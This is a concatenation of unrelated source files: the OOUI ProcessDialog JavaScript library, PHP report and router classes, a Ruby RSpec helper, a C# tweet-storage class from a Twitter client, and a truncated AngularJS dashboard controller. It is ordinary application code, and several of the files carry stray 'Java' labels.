* OO.inheritClass( MyProcessDialog, OO.ui.ProcessDialog );
*
* MyProcessDialog.static.name = 'myProcessDialog';
* MyProcessDialog.static.title = 'Process dialog';
* MyProcessDialog.static.actions = [
* { action: 'save', label: 'Done', flags: 'primary' },
* { label: 'Cancel', flags: 'safe' }
* ];
*
* MyProcessDialog.prototype.initialize = function () {
* MyProcessDialog.super.prototype.initialize.apply( this, arguments );
* this.content = new OO.ui.PanelLayout( { padded: true, expanded: false } );
* this.content.$element.append( '<p>This is a process dialog window. The header ' +
* 'contains the title and two buttons: \'Cancel\' (a safe action) on the left and ' +
* '\'Done\' (a primary action) on the right.</p>' );
* this.$body.append( this.content.$element );
* };
* MyProcessDialog.prototype.getActionProcess = function ( action ) {
* var dialog = this;
* if ( action ) {
* return new OO.ui.Process( function () {
* dialog.close( { action: action } );
* } );
* }
* return MyProcessDialog.super.prototype.getActionProcess.call( this, action );
* };
*
* var windowManager = new OO.ui.WindowManager();
* $( document.body ).append( windowManager.$element );
*
* var dialog = new MyProcessDialog();
* windowManager.addWindows( [ dialog ] );
* windowManager.openWindow( dialog );
*
* [1]: https://www.mediawiki.org/wiki/OOUI/Windows/Process_Dialogs
*
* @abstract
* @class
* @extends OO.ui.Dialog
*
* @constructor
* @param {Object} [config] Configuration options
*/
OO.ui.ProcessDialog = function OoUiProcessDialog( config ) {
// Parent constructor
OO.ui.ProcessDialog.super.call( this, config );
// Properties
this.fitOnOpen = false;
// Initialization
this.$element.addClass( 'oo-ui-processDialog' );
if ( OO.ui.isMobile() ) {
this.$element.addClass( 'oo-ui-isMobile' );
}
};
/* Setup */
OO.inheritClass( OO.ui.ProcessDialog, OO.ui.Dialog );
/* Methods */
/**
* Handle dismiss button click events.
*
* Hides errors.
*
* @private
*/
OO.ui.ProcessDialog.prototype.onDismissErrorButtonClick = function () {
this.hideErrors();
};
/**
* Handle retry button click events.
*
* Hides errors and then tries again.
*
* @private
*/
OO.ui.ProcessDialog.prototype.onRetryButtonClick = function () {
this.hideErrors();
this.executeAction( this.currentAction );
};
/**
* @inheritdoc
*/
OO.ui.ProcessDialog.prototype.initialize = function () {
// Parent method
OO.ui.ProcessDialog.super.prototype.initialize.call( this );
// Properties
this.$navigation = $( '<div>' );
this.$location = $( '<div>' );
this.$safeActions = $( '<div>' );
this.$primaryActions = $( '<div>' );
this.$otherActions = $( '<div>' );
this.dismissButton = new OO.ui.ButtonWidget( {
label: OO.ui.msg( 'ooui-dialog-process-dismiss' )
} );
this.retryButton = new OO.ui.ButtonWidget();
this.$errors = $( '<div>' );
this.$errorsTitle = $( '<div>' );
// Events
this.dismissButton.connect( this, {
click: 'onDismissErrorButtonClick'
} );
this.retryButton.connect( this, {
click: 'onRetryButtonClick'
} );
this.title.connect( this, {
labelChange: 'fitLabel'
} );
// Initialization
this.title.$element.addClass( 'oo-ui-processDialog-title' );
this.$location
.append( this.title.$element )
.addClass( 'oo-ui-processDialog-location' );
this.$safeActions.addClass( 'oo-ui-processDialog-actions-safe' );
this.$primaryActions.addClass( 'oo-ui-processDialog-actions-primary' );
this.$otherActions.addClass( 'oo-ui-processDialog-actions-other' );
this.$errorsTitle
.addClass( 'oo-ui-processDialog-errors-title' )
.text( OO.ui.msg( 'ooui-dialog-process-error' ) );
this.$errors
.addClass( 'oo-ui-processDialog-errors oo-ui-element-hidden' )
.append(
this.$errorsTitle,
$( '<div>' ).addClass( 'oo-ui-processDialog-errors-actions' ).append(
this.dismissButton.$element, this.retryButton.$element
)
);
this.$content
.addClass( 'oo-ui-processDialog-content' )
.append( this.$errors );
this.$navigation
.addClass( 'oo-ui-processDialog-navigation' )
// Note: Order of appends below is important. These are in the order
// we want tab to go through them. Display-order is handled entirely
// by CSS absolute-positioning. As such, primary actions like "done"
// should go first.
.append( this.$primaryActions, this.$location, this.$safeActions );
this.$head.append( this.$navigation );
this.$foot.append( this.$otherActions );
};
/**
* @inheritdoc
*/
OO.ui.ProcessDialog.prototype.getActionWidgetConfig = function ( config ) {
function checkFlag( flag ) {
return config.flags === flag ||
( Array.isArray( config.flags ) && config.flags.indexOf( flag ) !== -1 );
}
config = $.extend( { framed: true }, config );
if ( checkFlag( 'close' ) ) {
// Change close buttons to icon only.
$.extend( config, {
icon: 'close',
invisibleLabel: true
} );
} else if ( checkFlag( 'back' ) ) {
// Change back buttons to icon only.
$.extend( config, {
icon: 'previous',
invisibleLabel: true
} );
}
return config;
};
/**
* @inheritdoc
*/
OO.ui.ProcessDialog.prototype.attachActions = function () {
var i, len, other, special, others;
// Parent method
OO.ui.ProcessDialog.super.prototype.attachActions.call( this );
special = this.actions.getSpecial();
others = this.actions.getOthers();
if ( special.primary ) {
this.$primaryActions.append( special.primary.$element );
}
for ( i = 0, len = others.length; i < len; i++ ) {
other = others[ i ];
this.$otherActions.append( other.$element );
}
if ( special.safe ) {
this.$safeActions.append( special.safe.$element );
}
};
/**
* @inheritdoc
*/
OO.ui.ProcessDialog.prototype.executeAction = function ( action ) {
var dialog = this;
return OO.ui.ProcessDialog.super.prototype.executeAction.call( this, action )
.fail( function ( errors ) {
dialog.showErrors( errors || [] );
} );
};
/**
* @inheritdoc
*/
OO.ui.ProcessDialog.prototype.setDimensions = function () {
var dialog = this;
// Parent method
OO.ui.ProcessDialog.super.prototype.setDimensions.apply( this, arguments );
this.fitLabel();
// If there are many actions, they might be shown on multiple lines. Their layout can change
// when resizing the dialog and when changing the actions. Adjust the height of the footer to
// fit them.
dialog.$body.css( 'bottom', dialog.$foot.outerHeight( true ) );
// Wait for CSS transition to finish and do it again :(
setTimeout( function () {
dialog.$body.css( 'bottom', dialog.$foot.outerHeight( true ) );
}, 300 );
};
/**
* Fit label between actions.
*
* @private
* @chainable
* @return {OO.ui.MessageDialog} The dialog, for chaining
*/
OO.ui.ProcessDialog.prototype.fitLabel = function () {
var safeWidth, primaryWidth, biggerWidth, labelWidth, navigationWidth, leftWidth, rightWidth,
size = this.getSizeProperties();
if ( typeof size.width !== 'number' ) {
if ( this.isOpened() ) {
navigationWidth = this.$head.width() - 20;
} else if ( this.isOpening() ) {
if ( !this.fitOnOpen ) {
// Size is relative and the dialog isn't open yet, so wait.
// FIXME: This should ideally be handled by setup somehow.
this.manager.lifecycle.opened.done( this.fitLabel.bind( this ) );
this.fitOnOpen = true;
}
return;
} else {
return;
}
} else {
navigationWidth = size.width - 20;
}
safeWidth = this.$safeActions.width();
primaryWidth = this.$primaryActions.width();
biggerWidth = Math.max( safeWidth, primaryWidth );
labelWidth = this.title.$element.width();
if ( !OO.ui.isMobile() && 2 * biggerWidth + labelWidth < navigationWidth ) {
// We have enough space to center the label
leftWidth = rightWidth = biggerWidth;
} else {
// Let's hope we at least have enough space not to overlap, because we can't wrap
// the label.
if ( this.getDir() === 'ltr' ) {
leftWidth = safeWidth;
rightWidth = primaryWidth;
} else {
leftWidth = primaryWidth;
rightWidth = safeWidth;
}
}
this.$location.css( { paddingLeft: leftWidth, paddingRight: rightWidth } );
return this;
};
/**
* Handle errors that occurred during accept or reject processes.
*
* @private
* @param {OO.ui.Error[]|OO.ui.Error} errors Errors to be handled
*/
OO.ui.ProcessDialog.prototype.showErrors = function ( errors ) {
var i, len, actions,
items = [],
abilities = {},
recoverable = true,
warning = false;
if ( errors instanceof OO.ui.Error ) {
errors = [ errors ];
}
for ( i = 0, len = errors.length; i < len; i++ ) {
if ( !errors[ i ].isRecoverable() ) {
recoverable = false;
}
if ( errors[ i ].isWarning() ) {
warning = true;
}
items.push( new OO.ui.MessageWidget( {
type: 'error',
label: errors[ i ].getMessage()
} ).$element[ 0 ] );
}
this.$errorItems = $( items );
if ( recoverable ) {
abilities[ this.currentAction ] = true;
// Copy the flags from the first matching action.
actions = this.actions.get( { actions: this.currentAction } );
if ( actions.length ) {
this.retryButton.clearFlags().setFlags( actions[ 0 ].getFlags() );
}
} else {
abilities[ this.currentAction ] = false;
this.actions.setAbilities( abilities );
}
if ( warning ) {
this.retryButton.setLabel( OO.ui.msg( 'ooui-dialog-process-continue' ) );
} else {
this.retryButton.setLabel( OO.ui.msg( 'ooui-dialog-process-retry' ) );
}
this.retryButton.toggle( recoverable );
this.$errorsTitle.after( this.$errorItems );
this.$errors.removeClass( 'oo-ui-element-hidden' ).scrollTop( 0 );
};
/**
* Hide errors.
*
* @private
*/
OO.ui.ProcessDialog.prototype.hideErrors = function () {
this.$errors.addClass( 'oo-ui-element-hidden' );
if ( this.$errorItems ) {
this.$errorItems.remove();
this.$errorItems = null;
}
};
/**
* @inheritdoc
*/
OO.ui.ProcessDialog.prototype.getTeardownProcess = function ( data ) {
// Parent method
return OO.ui.ProcessDialog.super.prototype.getTeardownProcess.call( this, data )
.first( function () {
// Make sure to hide errors.
this.hideErrors();
this.fitOnOpen = false;
}, this );
};
/**
* @class OO.ui
*/
/**
* Lazy-initialize and return a global OO.ui.WindowManager instance, used by OO.ui.alert and
* OO.ui.confirm.
*
* @private
* @return {OO.ui.WindowManager}
*/
OO.ui.getWindowManager = function () {
if ( !OO.ui.windowManager ) {
OO.ui.windowManager = new OO.ui.WindowManager();
$( document.body ).append( OO.ui.windowManager.$element );
OO.ui.windowManager.addWindows( [ new OO.ui.MessageDialog() ] );
}
return OO.ui.windowManager;
};
/**
* Display a quick modal alert dialog, using a OO.ui.MessageDialog. While the dialog is open, the
* rest of the page will be dimmed out and the user won't be able to interact with it. The dialog
* has only one action button, labelled "OK", clicking it will simply close the dialog.
*
* A window manager is created automatically when this function is called for the first time.
*
* @example
* OO.ui.alert( 'Something happened!' ).done( function () {
* console.log( 'User closed the dialog.' );
* } );
*
* OO.ui.alert( 'Something larger happened!', { size: 'large' } );
*
* @param {jQuery|string} text Message text to display
* @param {Object} [options] Additional options, see OO.ui.MessageDialog#getSetupProcess
* @return {jQuery.Promise} Promise resolved when the user closes the dialog
*/
OO.ui.alert = function ( text, options ) {
return OO.ui.getWindowManager().openWindow( 'message', $.extend( {
message: text,
actions: [ OO.ui.MessageDialog.static.actions[ 0 ] ]
}, options ) ).closed.then( function () {
return undefined;
} );
};
/**
* Display a quick modal confirmation dialog, using a OO.ui.MessageDialog. While the dialog is open,
* the rest of the page will be dimmed out and the user won't be able to interact with it. The
* dialog has two action buttons, one to confirm an operation (labelled "OK") and one to cancel it
* (labelled "Cancel").
*
* A window manager is created automatically when this function is called for the first time.
*
* @example
* OO.ui.confirm( 'Are you sure?' ).done( function ( confirmed ) {
* if ( confirmed ) {
* console.log( 'User clicked "OK"!' );
* } else {
* console.log( 'User clicked "Cancel" or closed the dialog.' );
* }
* } );
*
* @param {jQuery|string} text Message text to display
* @param {Object} [options] Additional options, see OO.ui.MessageDialog#getSetupProcess
* @return {jQuery.Promise} Promise resolved when the user closes the dialog. If the user chose to
* confirm, the promise will resolve to boolean `true`; otherwise, it will resolve to boolean
* `false`.
*/
OO.ui.confirm = function ( text, options ) {
return OO.ui.getWindowManager().openWindow( 'message', $.extend( {
message: text
}, options ) ).closed.then( function ( data ) {
return !!( data && data.action === 'accept' );
} );
};
/**
* Display a quick modal prompt dialog, using a OO.ui.MessageDialog. While the dialog is open,
* the rest of the page will be dimmed out and the user won't be able to interact with it. The
* dialog has a text input widget and two action buttons, one to confirm an operation
* (labelled "OK") and one to cancel it (labelled "Cancel").
*
* A window manager is created automatically when this function is called for the first time.
*
* @example
* OO.ui.prompt( 'Choose a line to go to', {
* textInput: { placeholder: 'Line number' }
* } ).done( function ( result ) {
* if ( result !== null ) {
* console.log( 'User typed "' + result + '" then clicked "OK".' );
* } else {
* console.log( 'User clicked "Cancel" or closed the dialog.' );
* }
* } );
*
* @param {jQuery|string} text Message text to display
* @param {Object} [options] Additional options, see OO.ui.MessageDialog#getSetupProcess
* @param {Object} [options.textInput] Additional options for text input widget,
* see OO.ui.TextInputWidget
* @return {jQuery.Promise} Promise resolved when the user closes the dialog. If the user chose to
* confirm, the promise will resolve with the value of the text input widget; otherwise, it will
* resolve to `null`.
*/
OO.ui.prompt = function ( text, options ) {
var instance,
manager = OO.ui.getWindowManager(),
textInput = new OO.ui.TextInputWidget( ( options && options.textInput ) || {} ),
textField = new OO.ui.FieldLayout( textInput, {
align: 'top',
label: text
} );
instance = manager.openWindow( 'message', $.extend( {
message: textField.$element
}, options ) );
// TODO: This is a little hacky, and could be done by extending MessageDialog instead.
instance.opened.then( function () {
textInput.on( 'enter', function () {
manager.getCurrentWindow().close( { action: 'accept' } );
} );
textInput.focus();
} );
return instance.closed.then( function ( data ) {
return data && data.action === 'accept' ? textInput.getValue() : null;
} );
};
}( OO ) );
//# sourceMappingURL=oojs-ui-windows.js.map.json | Java |
<?php
namespace Report;
use Illuminate\Support\Collection;
class Datareport
{
protected static $instance = NULL;
protected $id = NULL;
protected $caption = NULL;
protected $icon = NULL;
// protected $rowSourceUrl = NULL; // server side row source url
// protected $columns = NULL;
// protected $displayStart = 0; // DT parameter
// protected $displayLength = 10; // DT parameter
// protected $dom = '';
// protected $defaultOrder = "0, 'asc'";
protected $styles = NULL; // page styles
protected $scripts = NULL; // page scripts
// protected $name = NULL;
protected $custom_styles = NULL;
protected $custom_scripts = NULL;
public function __construct()
{
$this->styles = new Collection();
$this->scripts = new Collection();
}
public static function make()
{
return self::$instance = new Datareport();
}
public function addStyleFile($file)
{
$this->styles->push($file);
return $this;
}
public function addScriptFile($file)
{
$this->scripts->push($file);
return $this;
}
public function __call($method, $args)
{
if(! property_exists($this, $method))
{
throw new \Exception('Method: ' . __METHOD__ . '. File: ' . __FILE__ . '. Message: Property "' . $method . '" unknown.');
}
if( isset($args[0]) )
{
$this->{$method} = $args[0];
return $this;
}
return $this->{$method};
}
protected function addCustomStyles()
{
if( $this->custom_styles )
{
foreach( explode(',', $this->custom_styles) as $i => $file)
{
$this->addStyleFile(trim($file));
}
}
}
protected function addCustomScripts()
{
if( $this->custom_scripts )
{
foreach( explode(',', $this->custom_scripts) as $i => $file)
{
$this->addScriptFile(trim($file));
}
}
}
public function styles()
{
$this->addCustomStyles();
$result = '';
foreach($this->styles as $i => $file)
{
$result .= \HTML::style($file);
}
return $result;
}
public function scripts()
{
$this->addCustomScripts();
$result = '';
foreach($this->scripts as $i => $file)
{
$result .= \HTML::script($file);
}
return $result;
}
} | Java |
require 'simplecov'
require 'coveralls'
Coveralls.wear!
SimpleCov.formatter = SimpleCov::Formatter::MultiFormatter[
SimpleCov::Formatter::HTMLFormatter,
Coveralls::SimpleCov::Formatter
]
SimpleCov.start do
add_filter '/spec/'
end
$LOAD_PATH.unshift File.expand_path('../../lib', __FILE__)
require 'llt/db_handler/stub'
RSpec.configure do |config|
config.treat_symbols_as_metadata_keys_with_true_values = true
config.run_all_when_everything_filtered = true
config.filter_run :focus
end
| Java |
<?php
namespace App\Support\Http\Routing;
use App\Support\Facades\Request;
use App\Support\Traits\ClassNameTrait;
/**
* Class Router
* @package App\Support\Routing
* @author Fruty <ed.fruty@gmail.com>
*/
class Router
{
use ClassNameTrait;
/**
* Registered routes
*
* @access protected
* @var array
*/
protected $routes = [];
/**
* @var \Closure
*/
protected $action404;
/**
* Register route
*
* @access public
* @param string $uri
* @param mixed [string|\Closure] $action
*/
public function map($uri, $action)
{
$route = new Route();
$route->setUri($uri);
$route->setAction($action);
$this->routes[] = $route;
}
/**
* @return mixed
*/
public function handle()
{
foreach ($this->routes as $route) {
if ($this->matchRequest($route)) {
/** @var Route $route */
return $route->dispatch();
}
}
return $this->show404();
}
/**
* @param $route
* @return int
*/
protected function matchRequest(Route $route)
{
return preg_match($route->getRegex(), Request::getUri());
}
/**
* @param callable $closure
* @return mixed
*/
public function show404(\Closure $closure = null)
{
if ($closure) {
$this->action404 = $closure;
} else {
$closure = $this->action404;
if (! is_callable($closure)) {
throw new \InvalidArgumentException("404 page handler not defined");
}
return $closure();
}
}
} | Java |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
using Dulcet.Twitter;
using Inscribe.Common;
using Inscribe.Configuration;
using Inscribe.Util;
using Inscribe.Subsystems;
using Inscribe.ViewModels.PartBlocks.MainBlock.TimelineChild;
using Livet;
namespace Inscribe.Storage
{
/// <summary>
/// ツイートの存在状態
/// </summary>
public enum TweetExistState
{
Unreceived,
EmptyExists,
Exists,
ServerDeleted,
}
/// <summary>
/// ツイートデータ(ViewModel)保持ベースクラス
/// </summary>
public static class TweetStorage
{
/// <summary>
/// ディクショナリのロック
/// </summary>
static ReaderWriterLockWrap lockWrap = new ReaderWriterLockWrap(LockRecursionPolicy.NoRecursion);
/// <summary>
/// 登録済みステータスディクショナリ
/// </summary>
static SortedDictionary<long, TweetViewModel> dictionary = new SortedDictionary<long, TweetViewModel>();
static ReaderWriterLockWrap vmLockWrap = new ReaderWriterLockWrap(LockRecursionPolicy.NoRecursion);
/// <summary>
/// ViewModel一覧の参照の高速化のためのリスト
/// </summary>
static List<TweetViewModel> viewmodels = new List<TweetViewModel>();
/// <summary>
/// empties/deleteReserveds用ロックラップ
/// </summary>
static ReaderWriterLockWrap elockWrap = new ReaderWriterLockWrap(LockRecursionPolicy.NoRecursion);
/// <summary>
/// 仮登録ステータスディクショナリ
/// </summary>
static SortedDictionary<long, TweetViewModel> empties = new SortedDictionary<long, TweetViewModel>();
/// <summary>
/// 削除予約されたツイートIDリスト
/// </summary>
static LinkedList<long> deleteReserveds = new LinkedList<long>();
/// <summary>
/// ツイートストレージの作業用スレッドディスパッチャ
/// </summary>
static QueueTaskDispatcher operationDispatcher;
static TweetStorage()
{
operationDispatcher = new QueueTaskDispatcher(1);
ThreadHelper.Halt += () => operationDispatcher.Dispose();
}
/// <summary>
/// ツイートを受信したか、また明示的削除などが行われたかを確認します。
/// </summary>
public static TweetExistState Contains(long id)
{
using (lockWrap.GetReaderLock())
{
if (dictionary.ContainsKey(id))
return TweetExistState.Exists;
}
using (elockWrap.GetReaderLock())
{
if (deleteReserveds.Contains(id))
return TweetExistState.ServerDeleted;
else if (empties.ContainsKey(id))
return TweetExistState.EmptyExists;
else
return TweetExistState.Unreceived;
}
}
/// <summary>
/// ツイートデータを取得します。
/// </summary>
/// <param name="id">ツイートID</param>
/// <param name="createEmpty">存在しないとき、空のViewModelを作って登録して返す</param>
public static TweetViewModel Get(long id, bool createEmpty = false)
{
TweetViewModel ret;
using (lockWrap.GetReaderLock())
{
if (dictionary.TryGetValue(id, out ret))
return ret;
}
using (createEmpty ? elockWrap.GetUpgradableReaderLock() : elockWrap.GetReaderLock())
{
if (empties.TryGetValue(id, out ret))
return ret;
if (createEmpty)
{
using (elockWrap.GetWriterLock())
{
var nvm = new TweetViewModel(id);
empties.Add(id, nvm);
return nvm;
}
}
else
{
return null;
}
}
}
/// <summary>
/// 登録されているステータスを抽出します。
/// </summary>
/// <param name="predicate">抽出条件</param>
/// <returns>条件にマッチするステータス、または登録されているすべてのステータス</returns>
public static IEnumerable<TweetViewModel> GetAll(Func<TweetViewModel, bool> predicate = null)
{
IEnumerable<TweetViewModel> tvms;
using (vmLockWrap.GetReaderLock())
{
tvms = viewmodels.ToArray();
}
if (predicate == null)
return tvms;
else
return tvms.AsParallel().Where(predicate);
}
private static volatile int _count;
/// <summary>
/// 登録されているツイートの個数を取得します。
/// </summary>
public static int Count()
{
return _count;
}
/// <summary>
/// 受信したツイートを登録します。<para />
/// 諸々の処理を自動で行います。
/// </summary>
public static TweetViewModel Register(TwitterStatusBase statusBase)
{
TweetViewModel robj;
using (lockWrap.GetReaderLock())
{
if (dictionary.TryGetValue(statusBase.Id, out robj))
return robj;
}
var status = statusBase as TwitterStatus;
if (status != null)
{
return RegisterStatus(status);
}
else
{
var dmsg = statusBase as TwitterDirectMessage;
if (dmsg != null)
{
return RegisterDirectMessage(dmsg);
}
else
{
throw new InvalidOperationException("不明なステータスを受信しました: " + statusBase);
}
}
}
/// <summary>
/// ステータスの追加に際しての処理
/// </summary>
private static TweetViewModel RegisterStatus(TwitterStatus status)
{
if (status.RetweetedOriginal != null)
{
// リツイートのオリジナルステータスを登録
var vm = Register(status.RetweetedOriginal);
// リツイートユーザーに登録
var user = UserStorage.Get(status.User);
var tuser = UserStorage.Get(status.RetweetedOriginal.User);
if (vm.RegisterRetweeted(user))
{
if (!vm.IsStatusInfoContains)
vm.SetStatus(status.RetweetedOriginal);
// 自分が関係していれば
if (AccountStorage.Contains(status.RetweetedOriginal.User.ScreenName)
|| AccountStorage.Contains(user.TwitterUser.ScreenName))
EventStorage.OnRetweeted(vm, user);
}
}
UserStorage.Register(status.User);
var registered = RegisterCore(status);
// 返信先の登録
if (status.InReplyToStatusId != 0)
{
Get(status.InReplyToStatusId, true).RegisterInReplyToThis(status.Id);
}
if (TwitterHelper.IsMentionOfMe(status))
{
EventStorage.OnMention(registered);
}
return registered;
}
/// <summary>
/// ダイレクトメッセージの追加に際しての処理
/// </summary>
private static TweetViewModel RegisterDirectMessage(TwitterDirectMessage dmsg)
{
UserStorage.Register(dmsg.Sender);
UserStorage.Register(dmsg.Recipient);
var vm = RegisterCore(dmsg);
EventStorage.OnDirectMessage(vm);
return vm;
}
/// <summary>
/// ステータスベースの登録処理
/// </summary>
private static TweetViewModel RegisterCore(TwitterStatusBase statusBase)
{
TweetViewModel viewModel;
using (elockWrap.GetUpgradableReaderLock())
{
if (empties.TryGetValue(statusBase.Id, out viewModel))
{
// 既にViewModelが生成済み
if (!viewModel.IsStatusInfoContains)
viewModel.SetStatus(statusBase);
using (elockWrap.GetWriterLock())
{
empties.Remove(statusBase.Id);
}
}
else
{
// 全く初めて触れるステータス
viewModel = new TweetViewModel(statusBase);
}
}
if (ValidateTweet(viewModel))
{
// プリプロセッシング
PreProcess(statusBase);
bool delr = false;
using (elockWrap.GetReaderLock())
{
delr = deleteReserveds.Contains(statusBase.Id);
}
if (!delr)
{
using (lockWrap.GetUpgradableReaderLock())
{
if (dictionary.ContainsKey(statusBase.Id))
{
return viewModel; // すでにKrile内に存在する
}
else
{
using (lockWrap.GetWriterLock())
{
dictionary.Add(statusBase.Id, viewModel);
}
_count++;
}
}
Task.Factory.StartNew(() => RaiseStatusAdded(viewModel)).ContinueWith(_ =>
{
// delay add
using (vmLockWrap.GetWriterLock())
{
viewmodels.Add(viewModel);
}
});
}
}
return viewModel;
}
/// <summary>
/// 登録可能なツイートか判定
/// </summary>
/// <returns></returns>
public static bool ValidateTweet(TweetViewModel viewModel)
{
if (viewModel.Status == null || viewModel.Status.User == null || String.IsNullOrEmpty(viewModel.Status.User.ScreenName))
throw new ArgumentException("データが破損しています。");
return true;
}
/// <summary>
/// ステータスのプリプロセッシング
/// </summary>
private static void PreProcess(TwitterStatusBase status)
{
try
{
if (status.Entities != null)
{
// extracting t.co and official image
new[]
{
status.Entities.GetChildNode("urls"),
status.Entities.GetChildNode("media")
}
.Where(n => n != null)
.SelectMany(n => n.GetChildNodes("item"))
.Where(i => i.GetChildNode("indices") != null)
.Where(i => i.GetChildNode("indices").GetChildValues("item") != null)
.OrderByDescending(i => i.GetChildNode("indices").GetChildValues("item")
.Select(s => int.Parse(s.Value)).First())
.ForEach(i =>
{
String expand = null;
if (i.GetChildValue("media_url") != null)
expand = i.GetChildValue("media_url").Value;
if (String.IsNullOrWhiteSpace(expand) && i.GetChildValue("expanded_url") != null)
expand = i.GetChildValue("expanded_url").Value;
if (String.IsNullOrWhiteSpace(expand) && i.GetChildValue("url") != null)
expand = i.GetChildValue("url").Value;
if (!String.IsNullOrWhiteSpace(expand))
{
var indices = i.GetChildNode("indices").GetChildValues("item")
.Select(v => int.Parse(v.Value)).OrderBy(v => v).ToArray();
if (indices.Length == 2)
{
//一旦内容を元の状態に戻す(参照:XmlParser.ParseString)
string orgtext = status.Text.Replace("&", "&").Replace(">", ">").Replace("<", "<");
// Considering surrogate pairs and Combining Character.
string text =
SubstringForSurrogatePaire(orgtext, 0, indices[0])
+ expand
+ SubstringForSurrogatePaire(orgtext, indices[1]);
//再度処理を施す
status.Text = text.Replace("<", "<").Replace(">", ">").Replace("&", "&");
}
}
});
}
}
catch { }
}
private static string SubstringForSurrogatePaire(string str, int startIndex, int length = -1)
{
var s = GetLengthForSurrogatePaire(str, startIndex, 0);
if (length == -1)
{
return str.Substring(s);
}
var l = GetLengthForSurrogatePaire(str, length, s);
return str.Substring(s, l);
}
private static int GetLengthForSurrogatePaire(string str, int len, int s)
{
var l = 0;
for (int i = 0; i < len; i++)
{
if (char.IsHighSurrogate(str[l + s]))
{
l++;
}
l++;
}
return l;
}
/// <summary>
/// ツイートをツイートストレージから除去
/// </summary>
/// <param name="id">ツイートID</param>
public static void Trim(long id)
{
TweetViewModel remobj = null;
using (elockWrap.GetWriterLock())
{
empties.Remove(id);
}
using (lockWrap.GetWriterLock())
{
if (dictionary.TryGetValue(id, out remobj))
{
dictionary.Remove(id);
_count--;
}
}
if (remobj != null)
{
using (vmLockWrap.GetWriterLock())
{
viewmodels.Remove(remobj);
}
Task.Factory.StartNew(() => RaiseStatusRemoved(remobj));
}
}
/// <summary>
/// ツイートの削除
/// </summary>
/// <param name="id">削除するツイートID</param>
public static void Remove(long id)
{
TweetViewModel remobj = null;
using (elockWrap.GetWriterLock())
{
empties.Remove(id);
}
using (lockWrap.GetWriterLock())
{
// 削除する
deleteReserveds.AddLast(id);
if (dictionary.TryGetValue(id, out remobj))
{
if (remobj.IsRemoved)
{
dictionary.Remove(id);
_count--;
}
}
}
if (remobj != null)
{
using (vmLockWrap.GetWriterLock())
{
if (remobj.IsRemoved)
viewmodels.Remove(remobj);
}
Task.Factory.StartNew(() => RaiseStatusRemoved(remobj));
// リツイート判定
var status = remobj.Status as TwitterStatus;
if (status != null && status.RetweetedOriginal != null)
{
var ros = TweetStorage.Get(status.RetweetedOriginal.Id);
if (ros != null)
ros.RemoveRetweeted(UserStorage.Get(status.User));
}
}
}
/// <summary>
/// ツイートの内部状態が変化したことを通知します。<para />
/// (例えば、ふぁぼられたりRTされたり返信貰ったりなど。)
/// </summary>
public static void NotifyTweetStateChanged(TweetViewModel tweet)
{
Task.Factory.StartNew(() => RaiseStatusStateChanged(tweet));
}
#region TweetStorageChangedイベント
public static event EventHandler<TweetStorageChangedEventArgs> TweetStorageChanged;
private static Notificator<TweetStorageChangedEventArgs> _TweetStorageChangedEvent;
public static Notificator<TweetStorageChangedEventArgs> TweetStorageChangedEvent
{
get
{
if (_TweetStorageChangedEvent == null)
_TweetStorageChangedEvent = new Notificator<TweetStorageChangedEventArgs>();
return _TweetStorageChangedEvent;
}
set { _TweetStorageChangedEvent = value; }
}
private static void OnTweetStorageChanged(TweetStorageChangedEventArgs e)
{
var threadSafeHandler = Interlocked.CompareExchange(ref TweetStorageChanged, null, null);
if (threadSafeHandler != null) threadSafeHandler(null, e);
TweetStorageChangedEvent.Raise(e);
}
#endregion
static void RaiseStatusAdded(TweetViewModel added)
{
// Mention通知設定がないか、
// 自分へのMentionでない場合にのみRegisterする
// +
// Retweet通知設定がないか、
// 自分のTweetのRetweetでない場合にのみRegisterする
if ((!Setting.Instance.NotificationProperty.NotifyMention ||
!TwitterHelper.IsMentionOfMe(added.Status)) &&
(!Setting.Instance.NotificationProperty.NotifyRetweet ||
!(added.Status is TwitterStatus) || ((TwitterStatus)added.Status).RetweetedOriginal == null ||
!AccountStorage.Contains(((TwitterStatus)added.Status).RetweetedOriginal.User.ScreenName)))
NotificationCore.RegisterNotify(added);
OnTweetStorageChanged(new TweetStorageChangedEventArgs(TweetActionKind.Added, added));
NotificationCore.DispatchNotify(added);
}
static void RaiseStatusRemoved(TweetViewModel removed)
{
OnTweetStorageChanged(new TweetStorageChangedEventArgs(TweetActionKind.Removed, removed));
}
static void RaiseStatusStateChanged(TweetViewModel changed)
{
OnTweetStorageChanged(new TweetStorageChangedEventArgs(TweetActionKind.Changed, changed));
}
static void RaiseRefreshTweets()
{
OnTweetStorageChanged(new TweetStorageChangedEventArgs(TweetActionKind.Refresh));
}
internal static void UpdateMute()
{
if (Setting.Instance.TimelineFilteringProperty.MuteFilterCluster == null) return;
GetAll(t => Setting.Instance.TimelineFilteringProperty.MuteFilterCluster.Filter(t.Status))
.ForEach(t =>
{
if (!AccountStorage.Contains(t.Status.User.ScreenName))
Remove(t.bindingId);
});
}
}
public class TweetStorageChangedEventArgs : EventArgs
{
public TweetStorageChangedEventArgs(TweetActionKind act, TweetViewModel added = null)
{
this.ActionKind = act;
this.Tweet = added;
}
public TweetViewModel Tweet { get; set; }
public TweetActionKind ActionKind { get; set; }
}
public enum TweetActionKind
{
/// <summary>
/// ツイートが追加された
/// </summary>
Added,
/// <summary>
/// ツイートが削除された
/// </summary>
Removed,
/// <summary>
/// ツイートの固有情報が変更された
/// </summary>
Changed,
/// <summary>
/// ストレージ全体に変更が入った
/// </summary>
Refresh,
}
}
| Java |
'use strict';
/* global angular */
(function() {
var aDashboard = angular.module('aDashboard');
aDashboard.controller('ADashboardController', function( $scope, $rootScope, tradelistFactory, $timeout) {
$scope.subState = $scope.$parent;
$scope.accountValue;
$scope.avgWin;
$scope.avgLoss;
$scope.avgTradeSize;
$scope.$on('tradeActionUpdated', function(event, args) {
var tradelist = args.tradelist;
calculateValue( tradelist );
$scope.avgWin = calculateAvgWin( tradelist ).avg;
$scope.winCount = calculateAvgWin( tradelist ).count;
$scope.avgLoss = calculateAvgLoss( tradelist ).avg;
$scope.lossCount = calculateAvgLoss( tradelist ).count;
calculateAvgTradeSize( tradelist );
});
var getTradelist = function() {
tradelistFactory.getTradelist()
.then(function(tradelist) {
});
};
getTradelist();
function calculateValue( tradelist ){
var sum = 0;
tradelist.forEach(function(entry) {
if( entry.tradeValue ){
sum += Number(entry.tradeValue);
}
});
$scope.accountValue = sum;
};
function calculateAvgWin( tradelist ){
var sum = 0;
var count = 0;
tradelist.forEach(function(entry) {
